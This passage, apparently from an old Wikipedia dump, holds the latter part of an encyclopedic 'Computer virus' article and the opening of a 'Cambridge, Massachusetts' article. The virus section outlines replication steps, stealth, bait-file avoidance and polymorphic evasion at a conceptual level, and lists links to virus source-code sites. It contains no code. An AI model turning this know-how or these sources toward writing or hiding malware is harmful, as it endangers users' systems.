The first PC virus was a boot sector virus called [[(c)Brain]], created in [[1986]] by two brothers, Basit and Amjad Farooq Alvi, operating out of [[Lahore, Pakistan]]. The brothers reportedly created the virus to deter pirated copies of software they had written.[http://www.brain.net.pk/aboutus.htm]  However, analysts have claimed that the [[Ashar (virus)|Ashar]] virus, a variant of Brain, possibly predated it based on code within the virus.

Before computer networks became widespread, most viruses spread on [[removable media]], particularly [[floppy disk]]s. In the early days of [[personal computer]]s, many users regularly exchanged information and programs on floppies. Some viruses spread by infecting programs stored on these disks, while others installed themselves into the disk [[boot sector]], ensuring that they would be run when the user booted the computer from the disk.

As [[bulletin board system]]s and online software exchange became popular in the late 1980s and early 1990s, more viruses were written to infect popularly traded software. [[Shareware]] and [[copyright violation|bootleg]] software were equally common [[vector (computing)|vector]]s for viruses on BBSes. Within the &quot;pirate scene&quot; of hobbyists trading illicit copies of commercial software, traders in a hurry to obtain the latest applications and games were easy targets for viruses.

Since the mid-[[1990s]], [[macro virus]]es have become common. Most of these viruses are written in the scripting languages for Microsoft programs such as [[Microsoft Word|Word]] and [[Microsoft Excel|Excel]]. These viruses spread in [Microsoft Office] by infecting documents and spreadsheets. Since Word and Excel were also available for Mac OS, most of these viruses were able to spread on Macintosh computers as well. Numerically, most of these viruses did not have the ability to send infected [[electronic mail|e-mail]]. The ones that did usually worked by accessing the [[Microsoft Outlook]] [[Component Object Model|COM]] interface.

Macro viruses pose unique problems for detection software. Here are two examples. First, some versions of Word caused macros to replicate themselves with additional blank lines. The virus behaved identically but would be misidentified as a new virus. Second, if two macro viruses simultaneously infect a document, the combination of the two, if also self-replicating, can appear as a &quot;mating&quot; of the two and would likely be detected as a virus unique from the &quot;parents.&quot; [http://www.people.frisk-software.com/~bontchev/papers/macidpro.html]

A computer virus may also be transmitted through instant messaging. A virus may send a web address link as an instant message to all the contacts on an infected machine. If the recipient, thinking the link is from a friend (a trusted source), goes to the website, the virus hosted at the site may be able to infect this new computer and continue propagating.

== Why people create computer viruses ==
Unlike biological viruses, computer viruses do not simply evolve by themselves, except in the cases where copying errors and recombination have led to actual evolution of computer viruses{{citeneeded}}; however, these cases are very rare compared to the rapid generation of new malware by human programmers. They cannot come into existence spontaneously, nor can they be created by [[Computer bug|bugs]] in regular programs. They are deliberately created by programmers, or by people who use virus creation software. 

Virus writers can have various reasons for creating and spreading malware. Viruses have been written as research projects, pranks, [[vandalism]], to attack the products of specific companies, to distribute political messages, and financial gain from identity theft or [[spyware]]. Some virus writers consider their creations to be works of art, and see virus writing as a creative hobby. Additionally, many virus writers oppose deliberately destructive payload routines. Some viruses were intended as &quot;good viruses&quot;. They spread improvements to the programs they infect, or delete other viruses. These viruses are, however, quite rare, still consume system resources, may accidentally damage systems they infect, and, on occasion, have become infected and acted as vectors for malicious viruses. Moreover, they normally operate without asking for permission of the owner of the computer. Since self-replicating code causes many complications, it is questionable if a well-intentioned virus can ever solve a problem in a way which is superior to a regular program that does not replicate itself. 

Releasing computer viruses (as well as worms) is a [[computer crime|crime]] in most jurisdictions.

See also the BBC News article [http://news.bbc.co.uk/1/hi/technology/3172967.stm Why people write computer viruses].

==Replication strategies==
In order to replicate itself, a virus must be permitted to execute code and write to memory. For this reason, many viruses attach themselves to executable files that may be part of legitimate programs. If a user tries to start an infected program, the virus' code may be executed first. Viruses can be divided into two types, on the basis of their behavior when they get executed. Nonresident viruses immediately search for other hosts that can be infected, infect these targets, and finally transfer control to the application program they infected. Resident viruses do not search for hosts when they are started. Instead, a resident virus loads itself into memory on execution and transfers control to the host program. The virus stays active in the background and infects new hosts when those files are accessed by other programs or the operating system itself. 

===Nonresident viruses===
Nonresident viruses can be thought of as consisting of a ''finder module'' and a ''replication module''. The finder module is responsible for finding new files to infect. For each new executable file the finder module encounters, it calls the replication module to infect that file. 

For simple viruses the replicator's task is to: 
# Open the new file 
# Check if the executable file has already been infected (if it is, return to the finder module)
# Append the virus code to the executable file 
# Save the executable's starting point 
# Change the executable's starting point so that it points to the start location of the newly copied virus code 
# Save the old start location to the virus in a way so that the virus branches to that location right after its execution. 
# Save the changes to the executable file  
# Close the infected file
# Return to the finder so that it can find new files for the replicator to infect.

===Resident viruses===
Resident viruses contain a replication module that is similar to the one that is employed by nonresident viruses. However, this module is not called by a finder module. Instead, the virus loads the replication module into memory when it is executed and ensures that this module is executed each time the operating system is called to perform a certain operation.  For example, the replication module can get called each time the operating system executes a file. In this case, the virus infects every suitable program that is executed on the computer. 

Resident viruses are sometimes subdivided into a category of ''fast infectors'' and a category of ''slow infectors''. Fast infectors are designed to infect as many files as possible. For instance, a fast infector can infect every potential host file that is accessed. This poses a special problem to anti-virus software, since a virus scanner will access every potential host file on a computer when it performs a system-wide scan. If the virus scanner fails to notice that such a virus is present in memory, the virus can &quot;piggy-back&quot; on the virus scanner and in this way infect all files that are scanned. Fast infectors rely on their fast infection rate to spread. The disadvantage of this method is that infecting many files may make detection more likely, because the virus may slow down a computer or perform many suspicious actions that can be noticed by anti-virus software. Slow infectors, on the other hand, are designed to infect hosts infrequently. For instance, some slow infectors only infect files when they are copied. Slow infectors are designed to avoid detection by limiting their actions: they are less likely to slow down a computer noticeably, and will at most infrequently trigger anti-virus software that detects suspicious behavior by programs. The slow infector approach doesn't seem very successful however. Viruses that are common in the wild are mostly relatively fast to extremely fast infectors.

===Host types===
Viruses have targeted various types of hosts. This is a non-exhaustive list:
* Binary [[executable file]]s (such as [[COM file|COM]]-files and [[EXE]]-files in [[MS-DOS]], [[Portable Executable]] files in [[Microsoft Windows]], and [[Executable and Linkable Format|ELF]] files in Linux)
* [[Boot sector]]s of [[floppy disk]]s and hard disk partitions
* The [[master boot record]] of a harddisk
* General-purpose [[Script (computer programming)|script]] files (such as [[batch file]]s in [[MS-DOS]] and [[Microsoft Windows]], [[VBScript]] files, and [[shell script]] files on [[Unix-like]] platforms).
* Application-specific script files (such as [[Telix]]-scripts)
* Documents that can contain [[macro]]s (such as [[Microsoft Word]] documents, [[Microsoft Excel]] spreadsheets, [[AmiPro]] documents, and [[Microsoft Access]] database files)

==Methods to avoid detection==
In order to avoid detection by users, some viruses employ different kinds of deception. Some old viruses, especially on the MS-DOS platform, make sure that the &quot;last modified&quot; date of a host file stays the same when the file is infected by the virus. This approach does not fool anti-virus software, however. 

Some viruses can infect files without increasing their sizes or damaging the files. They accomplish this by overwriting unused areas of executable files. These are called ''cavity viruses''. For example the [[CIH virus]], or Chernobyl Virus, infects [[Portable Executable]] files. Because those files had many empty gaps, the virus, which was 1 [[kilobyte|KB]] in length, did not add to the size of the file.

Recent viruses avoid any kind of detection attempt by attempting to forcefully kill the tasks associated with the virus scanner before it can detect them.

As computers and operating systems grow larger and more complex, old hiding techniques need to be updated or replaced.

===Avoiding bait files and other undesirable hosts===
A virus needs to infect hosts in order to spread further. In some cases, it might be a bad idea to infect a host program. For example, many anti-virus programs perform an integrity check of their own code. Infecting such programs will therefore increase the likelihood that the virus is detected. For this reason, some viruses are programmed not to infect programs that are known to be part of anti-virus software. Another type of hosts that viruses sometimes avoid is ''bait files''. Bait files (or ''goat files'') are files that are specially created by anti-virus software, or by anti-virus professionals themselves, to be infected by a virus. These files can be created for various reasons, all of which are related to the detection of the virus:
* Anti-virus professionals can use bait files to take a sample of a virus (i.e. a copy of a program file that is infected by the virus). It is more practical to store and exchange a small infected bait file, than to exchange a large application program that has been infected by the virus.
* Anti-virus professionals can use bait files to study the behavior of a virus and evaluate detection methods. This is especially useful when the virus is [[Polymorphic code|polymorphic]]. In this case, the virus can be made to infect a large number of bait files. The infected files can be used to test whether a virus scanner detects all versions of the virus. 
* Some anti-virus software employs bait files that are accessed regularly. When these files are modified, the anti-virus software warns the user that a virus is probably active on the system. 

Since bait files are used to detect the virus, or to make detection possible, a virus can benefit from not infecting them. Viruses typically do this by avoiding suspicious programs, such as small program files or programs that contain certain patterns of 'garbage instructions'.

A related strategy to make baiting difficult is ''sparse infection''. Sometimes, sparse infectors do not infect a host file that would be a suitable candidate for infection in other circumstances. For example, a virus can decide on a random basis whether to infect a file or not, or a virus can only infect host files on particular days of the week.

===Stealth===
Some viruses try to trick anti-virus software by intercepting its requests to the operating system. A virus can hide itself by intercepting the anti-virus software’s request to read the file and passing the request to the virus, instead of the [[Operating_System|OS]]. The virus can then return an uninfected version of the file to the anti-virus software, so that it seems that the file is &quot;clean&quot;. Modern anti-virus software employs various techniques to counter stealth mechanisms of viruses. The only completely reliable method to avoid stealth is to boot from a medium that is known to be clean. 

===Self-modification===
Most modern antivirus programs try to find virus-patterns inside ordinary programs by scanning them for so-called ''virus signatures''. A signature is a characteristic byte-pattern that is part of a certain virus or family of viruses. If a virus scanner finds such a pattern in a file, it notifies the user that the file is infected. The user can then delete, or (in some cases) &quot;clean&quot; the infected file. Some viruses employ techniques that make detection by means of signatures difficult or impossible. These viruses modify their code on each infection. That is, each infected file contains a different variant of the virus. 

==== Simple self-modifications ====
In the past, some viruses [[Self-modifying code|modified themselves]] only in fairly simple ways. For example, they regularly exchanged subroutines in their code. This poses no problems to a somewhat advanced virus scanner however.

====Encryption with a variable key====
A more advanced method is the use of simple [[encryption]] to encipher the virus. In this case, the virus consists of a small decrypting module and an encrypted copy of the virus code. If the virus is encrypted with a different key for each infected file, the only part of the virus that remains constant is the decrypting module. In this case, a virus scanner cannot directly detect the virus using signatures, but it can still detect the decrypting module, which still makes indirect detection of the virus possible.

Mostly, the decryption techniques that these viruses employ are fairly simple and mostly done by just [[xor]]ing each byte with a randomized key that was saved by the parent virus. The use of XOR-operations has the additional advantage that the encryption and decryption routine are the same (a xor b = c, c xor b = a.)

====Polymorphic code====
[[Polymorphic code]] was the first technique that posed a serious threat to virus scanners. Just like regular encrypted viruses, a polymorphic virus infects files with an encrypted copy of itself, which is decoded by a decryption module. In the case of polymorphic viruses however, this decryption module is also modified on each infection. A well-written polymorphic virus therefore has no parts that stay the same on each infection, making it impossible to detect directly using signatures. Anti-virus software can detect it by decrypting the viruses using an emulator, or by statistical [[pattern analysis]] of the encrypted virus body.  To enable polymorphic code, the virus has to have a [[polymorphic engine]] (also called ''mutating engine'' or ''mutation engine'') somewhere in its encrypted body.  See [[Polymorphic code]] for technical detail on how such engines operate.

Some viruses employ polymorphic code in a way which constrains the mutation rate of the virus significantly. For example, a virus can be programmed to mutate only slightly over time, or it can be programmed to refrain from mutating when it infects a file on a computer that already contains copies of the virus. The advantage of using such ''slow polymorphic'' code is that it makes it more difficult for anti-virus professionals to obtain representative samples of the virus, because bait files that are infected in one run will typically contain identical or similar samples of the virus. This will make it more likely that the detection by the virus scanner will be unreliable, and that, as a result of this, some instances of the virus may be able to avoid detection.

====Metamorphic code====
To avoid being detected by emulation, some viruses rewrite themselves completely each time they are to infect new executables. Viruses that use this technique are said to be [[metamorphic code|metamorphic]]. To enable metamorphism, a '''metamorphic engine''' is needed. A metamorphic virus is usually very large and complex. For example, [[W32/Simile]] consisted of over 14000 lines of [[Assembly language|assembly code]], 90% of it part of the metamorphic engine.

==Viruses and legitimate software==
===The vulnerability of operating systems to viruses===
Another analogy to biological viruses: just as [[genetic diversity]] in a population decreases the chance of a single disease wiping out a population, the diversity of software systems on a network similarly limits the destructive potential of viruses. 

This became a particular concern in the 1990s, when [[Microsoft]] gained market dominance in desktop operating systems and [[office suite]]s. Users who use Microsoft software (especially networking software such as [[Microsoft Outlook]] and [[Internet Explorer]]) are especially vulnerable to the spread of viruses. Microsoft software is targeted by virus writers due to their desktop dominance, and is often criticized for including many errors and holes for virus writers to exploit. Integrated applications, applications with scripting languages with access to the file system (for example [[Visual Basic Script]] (VBS), and applications with networking features) are also particularly vulnerable.

Although Windows is by far the most popular operating system for virus writers, some viruses also exist on other platforms. It is important to note that any operating system that allows third-party programs to run can theoretically run viruses. However, some operating systems are less secure than others. Unix-based OSes (and NTFS-aware applications on Windows NT based platforms) only allow their users to run executables within their protected space in their own directories.

Windows and Unix have similar scripting abilities, but while Unix natively blocks normal users from having access to make changes to the operating system environment, Windows does not. In [[1997]], when a virus for Linux was released – known as &quot;[[Bliss (virus)|Bliss]]&quot; – leading antivirus vendors issued warnings that [[Unix-like]] systems could fall prey to viruses just like Windows. [http://math-www.uni-paderborn.de/~axel/bliss/mcafee_press.html] The Bliss virus may be considered characteristic of viruses – as opposed to worms – on Unix systems. Bliss requires that the user run it explicitly, and it can only infect programs that the user has the access to modify. Unlike Windows users, most Unix users do not log in as the administrator user except to install or configure software; as a result, even if a user ran the virus, it could not harm their operating system. The Bliss virus never became widespread, and remains chiefly a research curiosity. Its creator later posted the source code to Usenet, allowing researchers to see how it worked. [http://math-www.uni-paderborn.de/~axel/bliss/]

===The role of software development===
Because software is often designed with security features to prevent unauthorized use of system resources, many viruses must exploit [[software bug]]s in a system or application to spread. Software development strategies which produce large numbers of bugs will generally also produce potential exploits. 

Closed-source software development, as practiced by Microsoft and other [[proprietary software]] companies, is seen by many as a security weakness. [[Open source]] software such as Linux, for example, allows all users to look for and fix security problems without relying on a single vendor. Some advocate that proprietary software makers practice [[vulnerability disclosure]] to improve this weakness.

On the other hand, some claim that open source development exposes potential security problems to virus writers, hence increases in the prevalance of exploits. They counter claims that popular closed source systems such as [[Microsoft Windows|Windows]] are often exploited by claiming that these systems are only commonly exploited due to their popularity and the potential widespread effect such an exploit will have.

===Anti-virus software and other countermeasures===
Many users install [[anti-virus software]] that can detect and eliminate known viruses after the computer [[downloads]] or runs the executable. They work by examining the contents of the computer's memory (its [[Random Access Memory|RAM]], and [[boot sector]]) and the files stored on fixed or removable drives (hard drives, floppy drives), and comparing those files against a [[database]] of known virus &quot;signatures&quot;. Some anti-virus programs are able to scan opened files in addition to sent and received emails 'on the fly' in a similar manner. This practice is known as &quot;on-access scanning.&quot; Anti-virus software does not change the underlying capability of host software to transmit viruses. There have been attempts to do this but adoption of such anti-virus solutions can void the warranty for the host software. Users must therefore update their software regularly to [[patch (computing)|patch]] security holes. Anti-virus software also needs to be regularly updated in order to gain knowledge about the latest threats and hoaxes.

==See also==
*[[Malware]]
*[[List of computer viruses]]
*[[List of computer virus hoaxes]]
*[[List of trojan horses]]
*[[Timeline of notable computer viruses and worms]]
*[[Turing completeness]]
*[[Black hat|Cracking]]
*[[Security through obscurity]]
*[[Spam (electronic)|Spam]]
*[[Melissa (computer worm)|Melissa worm]], [[ILOVEYOU (computer virus)|ILOVEYOU]]
*[[Cryptovirology]]

==External links==
===Anti virus===
* [http://www.windowsonecare.com/ Microsoft has OneCare Live, designed to protect your computer against viruses.]
* [http://www.softpanorama.org/Malware/index.shtml Softpanorama (slightly skeptical) Viruses, Worms and Spyware Defense Strategy] 
* [http://www.all.net/books/virus/part5.html Fred Cohen's 1984 paper]
* [http://www.sophos.com/virusinfo/explained/ Virus glossary and best practice]
* [http://www.bullguard.com/virus/ Virus Information], by [[BullGuard]]
* [http://librenix.com/?inode=80 An editorial on beneficial viruses (con)]
* [http://www.windowsecurity.com/articles/Protecting_Email_Viruses_Malware.html Email Viruses] - an article about how to protect your email from viruses
* For a thorough, hypothetical pro discussion, see: [http://vx.netlux.org/lib/avb02.html &quot;Are Good Viruses still a Bad idea?&quot;]
* [http://www.pcvirus.org/links Malicious Code &amp; Viruses - Articles, Links, and Whitepapers]
* [http://www.wildlist.org The Wildlist] List of viruses and worms 'in the wild' (i.e. regularly encountered by anti-virus companies)
* [http://www.digitalcraft.org/iloveyou/index.htm I love you &lt;nowiki&gt;[rev.eng]&lt;/nowiki&gt; exhibition]
* [http://www.virusbtn.com/ Virus Bulletin] (Same owner as Sophos)
* [http://www.theglobeandmail.com/servlet/story/RTGAM.20050519.gtwvirus19/BNStory/Technology/ The Globe and Mail: Cellphone acting sick? Might be a virus] (free registration required)
* [http://securityresponse.symantec.com/avcenter/vinfodb.html Symantec's Virus Database] 
* [http://www.antisource.com Computer Virus Alerts, News, and Help]
*[http://astral9.netfirms.com/ astral9.netfirms.com] - A comprehensive guide for information on removing spyware, adware, trojans and viruses

===Pro virus===
* [http://www.totallygeek.com/vscdb/ Virus Source Code Database]
* [http://vx.netlux.org/ VX Heaven - Sources &amp; Guides]
* [http://www.hackpalace.com/virii/indexe.shtml Hackpalace Virii]
*Article &quot;[http://www.codeproject.com/system/inject2exe.asp Inject your code to a Portable Executable file]&quot; by [[Ashkbiz Danehkar]]

[[Category:Computer security|Virus]]
[[Category:Computer viruses| ]]

[[als:Computervirus]]
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[[ko:컴퓨터 바이러스]]
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[[he:וירוס מחשב]]
[[lt:Virusas (programa)]]
[[hu:Számítógépes vírus]]
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[[ja:コンピュータウイルス]]
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    </revision>
  </page>
  <page>
    <title>Cambridge, Massachusetts</title>
    <id>5685</id>
    <revision>
      <id>42115778</id>
      <timestamp>2006-03-03T22:49:03Z</timestamp>
      <contributor>
        <ip>151.203.241.221</ip>
      </contributor>
      <comment>/* About the city */</comment>
      <text xml:space="preserve">{{Infobox City | 
official_name = Cambridge, Massachusetts | 
nickname = City of Squares |
image_seal = sealofcambridgema.gif | 
image_map = Cambridge ma highlight.png | 
map_caption = Location in [[Massachusetts]] | 
subdivision_type = [[Counties of the United States|Counties]] | 
subdivision_name = [[Middlesex County, Massachusetts|Middlesex County]]| 
leader_title = [[Mayor]] | 
leader_name =  [[Kenneth Reeves]] ([[United States Democratic Party|D]])| 
area_magnitude = 1 E7 | 
area_total = 18.5 km&amp;sup2; / 7.1 m&amp;sup2; | 
area_land =  16.7 km&amp;sup2; / 6.4 m&amp;sup2; | 
area_water = 1.8 km&amp;sup2; / 0.7 m&amp;sup2; |
population_as_of = 2000 | 
population_note =  |
population_total = 101,355 ([[city limits|city proper]]) | 
population_density = 6086.1/km&amp;sup2; | 
timezone = [[Eastern Standard Time Zone|Eastern]] | 
utc_offset = -5 | 
timezone_DST = [[Eastern Standard Time Zone|Eastern]] | 
utc_offset_DST = -4 | 
latd=42 |latm=22 |lats=25 |latNS=N |
longd=71 |longm=6 |longs=38 |longEW=W |
website = [http://www.cambridgema.gov/ www.cambridge] | 
footnotes = 
}}

'''Cambridge''' is a [[city]] in the [[Greater Boston]] area of [[Massachusetts]], [[United States]]. It was named in honor of [[Cambridge]], [[England]]. Cambridge is most famous for the two prominent universities that call it home: [[Harvard University]] and the [[Massachusetts Institute of Technology]].  As of the [[2000]] census, the city had a total population of 101,355, though even more people commute into Cambridge to work.

Cambridge is a county seat of [[Middlesex County, Massachusetts]], along with [[Lowell, Massachusetts|Lowell]]. However, the county government was abolished in 1997. Although the county still exists as a geographical and political region, with Middlesex County courts and jails and such, county employees now work for the state.

==About the city==
[[Image:CambridgeMACityHall2.jpg|thumb|left|Cambridge City Hall]]

The diversity of the population is striking. Residents, known as ''Cantabrigians'', range from distinguished Harvard professors to working-class families to immigrants from around the world.  

This diversity contributes to the liberal atmosphere, and may be compared to [[Berkeley, California]], in some respects.  It is sometimes referred to as the &quot;[[People's Republic]] of Cambridge&quot; because of the city's famously [[modern liberalism|liberal]] politics; The city, as it grows wealthier, has not lost its very liberal political culture.

Cambridge has been called the &quot;City of Squares&quot; by some, as most of its commercial districts are major street intersections known as [[Town square|square]]s. Each of the squares acts as something of a neighborhood center.  These include:

* [[Kendall Square]], formed by the junction of Broadway, Main Street, and Third Street.  Just over the [[Longfellow Bridge]] from Boston, at the eastern end of the [[Massachusetts Institute of Technology|MIT]] campus.  It is served by an [[Massachusetts Bay Transportation Authority|MBTA]] [[Kendall (MBTA station)|Red Line station]].  Most of Cambridge's large office towers are located here, giving the area somewhat of an office park feel.  A flourishing [[biotech]] industry has grown up around here. The &quot;One Kendall Square&quot; complex is nearby, but -- confusingly -- not actually in Kendall Square.
* [[Central Square]], formed by the junction of [[Massachusetts Avenue#Boston, Massachusetts|Massachusetts Avenue]], Prospect Street, and Western Avenue.  This is perhaps the closest thing Cambridge has to a downtown, and is well-known for its wide variety of ethnic restaurants.  Even as recently as the late 1990s it was rather run-down; it has become more [[gentrification|gentrified]] in recent years, and continues to grow more expensive.  It is served by a [[Central (MBTA station)|Red Line station]].  ''Lafayette Square'', formed by the junction of Massachusetts Avenue, Columbia Street, Sidney Street, and Main Street, is considered a part of the Central Square area.
[[image:Harvard_Square.JPG|thumb|200px|''Harvard Square, May [[2000]]'']]
* [[Harvard Square]], formed by the junction of Mass. Avenue, Brattle Street, and JFK Street.  This is the site of [[Harvard University]], the oldest university in the United States and is a major Cambridge shopping area (although not as exclusively so as in years past). It is served by a [[Harvard (MBTA station)|Red Line station]]. The neighborhood north of Harvard but east of Mass Ave is known as Agassiz in honor of the famed scientist [[Louis Agassiz]].
* [[Porter Square]], about a mile north on Mass. Ave from Harvard Square, formed by the junction of Mass. Ave and Somerville Ave, and including part of the city of [[Somerville, Massachusetts|Somerville]]. It is served by a [[Porter (MBTA station)|Red Line station]].
* [[Inman Square]], at the junction of Cambridge and Hampshire streets in Mid-Cambridge.
* [[Lechmere Square]], at the junction of Cambridge and First streets, adjacent to the CambridgeSide Galleria shopping mall.  Perhaps best known as the eastern terminus of the [[Massachusetts Bay Transportation Authority|MBTA]] [[Green Line (MBTA)|Green Line]] subway.

The residential neighborhoods in Cambridge border, but are not defined by the squares.  These include:
* [[Cambridgeport]] between Central Square and the Charles River
* Riverside between Central Square and Harvard Square
* [[East Cambridge, Massachusetts|East Cambridge]]
* North Cambridge
* Agassiz
* Avon Hill
* Mid Cambridge
* Brattle Street

At the western edge of Cambridge, [[Mount Auburn Cemetery]] is widely known for its distinguished inhabitants, its superb landscaping and as a first-rate [[arboretum]].

Although one often sees references to the &quot;Boston/Cambridge area&quot; in print, Cambridge prefers to retain its own unique identity.

==History==
Cambridge was established as the [[town]] of &quot;Newtowne&quot; in [[1630]]. Newtowne was one a number of towns (including [[Boston, Massachusetts|Boston]], [[Dorchester, Massachusetts|Dorchester]], [[Watertown, Massachusetts|Watertown]], and [[Weymouth, Massachusetts|Weymouth]]) founded by the 700 original [[Puritan]] colonists of the [[Massachusetts Bay Colony]] under governor [[John Winthrop]]. The original village site was the heart of today's [[Harvard Square]], while the town included a much larger area than the present city, with various outlying parts becoming independent towns over the years: [[Newton, Massachusetts|Newton (originally Newtown)]] in 1690, [[Lexington, Massachusetts|Lexington (Cambridge Farms)]] in 1712, and [[Arlington, Massachusetts|Arlington (West Cambridge)]] and [[Brighton, Massachusetts|Brighton (Little Cambridge)]] in 1807.

In 1636 [[Harvard College]] was founded by the colony to train [[minister (religion)|ministers]] and Newtowne was chosen for its site. In 1638 the name was changed to &quot;Cambridge&quot; (after [[Cambridge|Cambridge, England]]) to reflect its status as the center for higher education in the colony.

Cambridge grew slowly as an agricultural village eight miles by road from Boston, the [[capital]] of the colony. By the [[American Revolution]], most residents lived near the Common and Harvard College, with farms and estates comprising most of the town. Most of the inhabitants were descendants of the original Puritan colonists, but there was also a small elite of [[Anglicans]] &quot;worthies&quot; who were not involved in village life, made their livings from estates, investments, and trade, and lived in mansions along &quot;the Road to Watertown&quot; (today's Brattle Street), which is known as Tory Row. Most of these estates were confiscated after the revolution and sold to [[Loyalist]]s.

Between 1790 and 1840 Cambridge began to grow rapidly with the construction of the [[West Boston Bridge]] in 1792 that connected Cambridge directly to Boston, making it no longer necessary to travel eight miles through the [[Boston Neck]], [[Roxbury, Massachusetts|Roxbury]], and [[Brookline, Massachusetts|Brookline]] to cross the [[Charles River]]. A second bridge, the Canal Bridge, opened in 1809 alongside the new [[Middlesex Canal]]. The new bridges and roads made what were formerly estates and [[marsh|marshland]] prime industrial and residential districts. Soon after, [[turnpike]]s were built: the Concord Turnpike (today's Broadway and Concord Ave.), the Middlesex Turnpike (Hampshire St. and Massachusetts Ave. northwest of Porter Square), and what are today's Cambridge, Main, and Harvard Streets were roads to connect various areas of Cambridge to the bridges. In addition, railroads crisscrossed the town during the same era, leading to the development of Porter Square as well as the creation of neighboring town [[Somerville, Massachusetts|Somerville]] from the formerly rural parts of [[Charlestown, Massachusetts|Charlestown]].

Cambridge was incorporated as the second city in Massachusetts in [[1846]]. Its commercial center also began to shift from Harvard Square to Central Square, which became the [[downtown]] of the city. Between 1850 and 1900, Cambridge took on much of its present character — [[streetcar suburb]]an development along the turnpikes, with [[working class|working-class]] and industrial neighborhoods focused on East Cambridge, comfortable [[middle class|middle-class]] housing being built on old estates in Cambridgeport and Mid-Cambridge, and [[upper class|upper-class]] enclaves near Harvard University and on the minor hills of the city. The coming of the railroad to North Cambridge and Northwest Cambridge then led to three major changes in the city: the development of massive [[brickyards]] and [[brickworks]] between Massachusetts Ave., Concord Ave. and [[Alewife Brook]]; the ice-cutting industry launched by [[Frederic Tudor]] on [[Fresh Pond]]; and the carving up of the last estates into residential subdivisions to provide housing to the thousand of [[immigrant]]s that moved to work in the new industries.

By 1920, Cambridge was one of the main industrial cities of [[New England]] with nearly 120,000 residents. As industry in New England began to decline during the [[Great Depression]] and after [[World War II]], Cambridge lost much of its industrial base. It also began the transition to being an intellectual, rather than an industrial, center. Harvard University had always been important in the city (both as a landowner and as an institution), but began to play a more dominant role in the city's life and culture. Also, the move of the [[Massachusetts Institute of Technology]] from Boston in 1912 ensured Cambridge's status as an intellectual center of the United States.

After the 1950s, the city population began to decline slowly, as families were replaced by single people and young couples, and by the end of the twentieth century, Cambridge had one of the most expensive housing markets in the Northeastern United States. While maintaining much diversity in class, race, and age, it became harder and harder for those who grew up in the city to be able to afford to stay.

== Geography ==
Cambridge is located at 42&amp;deg;22'25&quot; North, 71&amp;deg;6'38&quot; West {{coor d|42.373746|N|71.110554|W|type:airport}} {{GR|1}}.

According to the [[United States Census Bureau]], the city has a total area of 18.5 [[square kilometre|km&amp;sup2;]] (7.1 [[square mile|mi&amp;sup2;]]).  16.7 km&amp;sup2; (6.4 mi&amp;sup2;) of it is land and 1.8 km&amp;sup2; (0.7 mi&amp;sup2;) of it is water.  The total area is 9.82% water.

Cambridge is bordered by the city of [[Boston, Massachusetts|Boston]] on its south and east (across the [[Charles River]]), by the city of [[Somerville, Massachusetts|Somerville]] and the town of [[Arlington, Massachusetts|Arlington]] to its north, and by the city of [[Watertown, Massachusetts|Watertown]] and town of [[Belmont, Massachusetts|Belmont]] to its west.

== Demographics ==
As of the [[census]]{{GR|2}} of [[2000]], there are 101,355 people, 42,615 households, and 17,599 families residing in the city.  The [[population density]] is 6,086.1/km&amp;sup2; (15,766.1/mi&amp;sup2;).  There are 44,725 housing units at an average density of 2,685.6/km&amp;sup2; (6,957.1/mi&amp;sup2;).  The racial makeup of the city is 68.10% [[White (U.S. Census)|White]], 11.92% [[Black (people)|Black]] or [[Race (U.S. Census)|African American]], 0.29% [[Native American (U.S. Census)|Native American]], 11.88% [[Asian (U.S. Census)|Asian]], 0.08% [[Pacific Islander (U.S. Census)|Pacific Islander]], 3.19% from [[Race (U.S. Census)|other races]], and 4.56% from two or more races.  7.36% of the population are [[Hispanic American|Hispanic]] or [[Latino (U.S. Census)|Latino]] of any race.

There are 42,615 households out of which 17.6% have children under the age of 18 living with them, 29.1% are [[Marriage|married couples]] living together, 9.7% have a female householder with no husband present, and 58.7% are non-families. 41.4% of all households are made up of individuals and 9.2% have someone living alone who is 65 years of age or older.  The average household size is 2.03 and the average family size is 2.83.

In the city the population is spread out with 13.3% under the age of 18, 21.2% from 18 to 24, 38.6% from 25 to 44, 17.8% from 45 to 64, and 9.2% who are 65 years of age or older.  The median age is 30 years.  For every 100 females there are 96.1 males.  For every 100 females age 18 and over, there are 94.7 males.

The median income for a household in the city is $47,979, and the median income for a family is $59,423. Males have a median income of $43,825 versus $38,489 for females. The [[per capita income]] for the city is $31,156.  12.9% of the population and 8.7% of families are below the [[poverty line]].  Out of the total population, 15.1% of those under the age of 18 and 12.9% of those 65 and older are living below the poverty line.

==Economy==
Although manufacturing was an important part of the late 19th and early 20th-century Cambridge economy, today long-established educational institutions are its biggest employers; [[Harvard]] employs over 10,000 people and [[MIT]] over 7,000 as of 2004. As a famous cradle of technological innovation, Cambridge has also been home to legendary technology firms, including [[Akamai]], [[BBN]], [[Lotus Development Corporation]] (now part of [[IBM]]), [[Polaroid Corporation|Polaroid]], and [[Thinking Machines]]. 

Over the years, as companies have grown, prospered, and then either moved away or gone out of business (see this [http://www.cambridgema.gov/~CDD/data/index.html#labor list] of employers for more information), Cambridge's large-scale employment has shifted tremendously. In 1996, [[Polaroid Corporation|Polaroid]], [[Arthur D. Little]], and [[Lotus Development Corporation|Lotus]] were all top employers with over 1,000 people in Cambridge, and all declined or disappeared a few years later.  As of 2005, alongside Harvard and MIT, health care and biotechnology dominate the Cambridge economy, with [[Genzyme]], [[Biogen Idec]], and [[Novartis]] the biggest players. Biotech's geographical locus is Kendall Square and [[East Cambridge, Massachusetts|East Cambridge]], the center of much of the city's manufacturing a century before. Of the computer-industry firms that once dominated the Cambridge economy, only [[Akamai]] remains a top-20 employer. However, many smaller start-ups and entrepreneurial companies remain an important part of the Cambridge employment scene.

== Law and government ==
Cambridge has a 9-member City Council, and a 6-member School Committee.  The councillors and school committee members are elected every two years using the [[single transferable vote]] (STV) system. [http://www.cambridgema.gov/~Election/prop-voting.html] Since the disbanding of the New York City Community School Boards in 2002, the Council is unusual in being the only governing body in the United States to use STV [http://ccrc.wustl.edu/~lorracks/projects/techreport/subsection3_4_4.html]. Once a laborious process that took several days to complete, vote counting is now done by computer. 

The mayor is elected by the city councillors, from amongst themselves, and serves as the chair of City Council meetings.  The mayor also sits on the School Committee.  However, the Mayor is not the Chief Executive of the City.  Rather, the City Manager, who is appointed by the City Council, serves in that capacity. Robert W. Healy is currently the City Manager.

== Education ==
[[Image:Charles River Cambridge USA.jpg|thumb|300px|right|A view of Weld Boathouse and [[Harvard]] across the [[Charles River]].]]
=== Colleges and universities ===
*[[Cambridge College]]
*[[Harvard University]]
*[[Lesley University]]
*[[Longy School of Music]]
